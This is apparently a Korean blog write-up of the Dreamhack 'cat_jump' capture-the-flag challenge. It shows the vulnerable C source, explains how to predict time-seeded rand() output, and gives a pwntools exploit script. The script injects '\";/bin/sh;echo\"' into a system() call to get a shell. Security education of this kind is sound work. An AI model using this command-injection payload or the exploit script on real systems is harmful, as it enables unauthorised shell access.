Code 분석
/* cat_jump.c
* gcc -Wall -no-pie -fno-stack-protector cat_jump.c -o cat_jump
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#define CAT_JUMP_GOAL 37
#define CATNIP_PROBABILITY 0.1
#define CATNIP_INVINCIBLE_TIMES 3
#define OBSTACLE_PROBABILITY 0.5
#define OBSTACLE_LEFT 0
#define OBSTACLE_RIGHT 1
void Init() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
}
void PrintBanner() {
puts(" .-.\n" \
" \\ \\\n" \
" \\ \\\n" \
" | |\n" \
" | |\n" \
" /\\---/\\ _,---._ | |\n" \
" /^ ^ \\,' `. ;\n" \
" ( O O ) ;\n" \
" `.=o=__,' \\\n" \
" / _,--.__ \\\n" \
" / _ ) ,' `-. `-. \\\n" \
" / ,' / ,' \\ \\ \\ \\\n" \
" / / / ,' (,_)(,_)\n" \
" (,; (,,) jrei\n");
}
char cmd_fmt[] = "echo \"%s\" > /tmp/cat_db";
void StartGame() {
char cat_name[32];
char catnip;
char cmd[64];
char input;
char obstacle;
double p;
unsigned char jump_cnt;
srand(time(NULL));
catnip = 0;
jump_cnt = 0;
puts("let the cat reach the roof! 🐈");
sleep(1);
do {
// set obstacle with a specific probability.
obstacle = rand() % 2;
// get input.
do {
printf("left jump='h', right jump='j': ");
scanf("%c%*c", &input);
} while (input != 'h' && input != 'l');
// jump.
if (catnip) {
catnip--;
jump_cnt++;
puts("the cat powered up and is invincible! nothing cannot stop! 🐈");
} else if ((input == 'h' && obstacle != OBSTACLE_LEFT) ||
(input == 'l' && obstacle != OBSTACLE_RIGHT)) {
jump_cnt++;
puts("the cat jumped successfully! 🐱");
} else {
puts("the cat got stuck by obstacle! 😿 🪨 ");
return;
}
// eat some catnip with a specific probability.
p = (double)rand() / RAND_MAX;
if (p < CATNIP_PROBABILITY) {
puts("the cat found and ate some catnip! 😽");
catnip = CATNIP_INVINCIBLE_TIMES;
}
} while (jump_cnt < CAT_JUMP_GOAL);
puts("your cat has reached the roof!\n");
printf("let people know your cat's name 😼: ");
scanf("%31s", cat_name);
snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name);
system(cmd);
printf("goodjob! ");
system("cat /tmp/cat_db");
}
int main(void) {
Init();
PrintBanner();
StartGame();
return 0;
}
- 버퍼 비활성화
- CAT_JUMP_GOAL에 도달할때까지(37), 장애물을 만나지 않으면
- system 함수로 cmd 인자를 받아서, 파일에 입력 할 수 있으며,
- 이것을 system 함수로 cat 명령어로 호출함
취약점
- system 함수를 통해 shell 획득이 가능하다.
접근 방법
장애물 통과
h 일때는 랜덤 값 => 1
l 일때는 랜덤 값 => 0
이어야 장애물 모두 피할 수 있음
37번의 랜덤 값을 다 맞출 수 없음
rand 함수는 의사난수 생성 함수로, 주어진 시드 값에 따라 고정된 난수 시퀀스를 생성합니다.
이는 난수의 순서가 시드에 의해 결정되기 때문에 예측 가능하고,
시드가 유출되거나 예측 가능할 때 rand() 함수를 크랙할 수 있습니다.
=> random(), arc4random() 또는 암호화적 난수 생성기 사용!
=> 여기서
srand(time(NULL)) 즉, 시간에 기반한 난수 생성
pwntool 을 이용해, 시간에 기반 난수 생성
shell 실행
cmd 입력 시 stacked 로 명령어 수행
입력 수행 => abcd\";bin/sh;echo\"
Exploit Code
from pwn import *
from ctypes import CDLL
# r = process("./cat_jump")
r = remote("host3.dreamhack.games", 23163)
context.log_level = "debug"
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0x00)-2)
r.recvuntil(b"let the cat reach the roof! ")
sleep(1)
for i in range(37):
rand = libc.rand() % 2
if(rand == 0):
r.sendlineafter(b"left jump='h', right jump='j': ", b'l')
else:
r.sendlineafter(b"left jump='h', right jump='j': ", b'h')
libc.rand()
#catnip 생성 시 rand 를 한번 더 호출 함으로 맞춰주는 개념
r.sendlineafter(b":", b"asdf\";/bin/sh;echo\"")
r.interactive()
위에서 remote로 실행 하는 이슈 해소를 위해 time()에 -1,-2 순차적으로 기입하여 실행 해봄
(보정 값 없앴을 때 성공함)
'Hacking > DreamHack' 카테고리의 다른 글
web-ssrf (1) | 2024.09.04 |
---|---|
Bypass-WAF (0) | 2024.09.04 |
Master Canary (0) | 2024.08.13 |
md5 password (0) | 2024.07.31 |
Textbook-HMAC (1) | 2024.05.22 |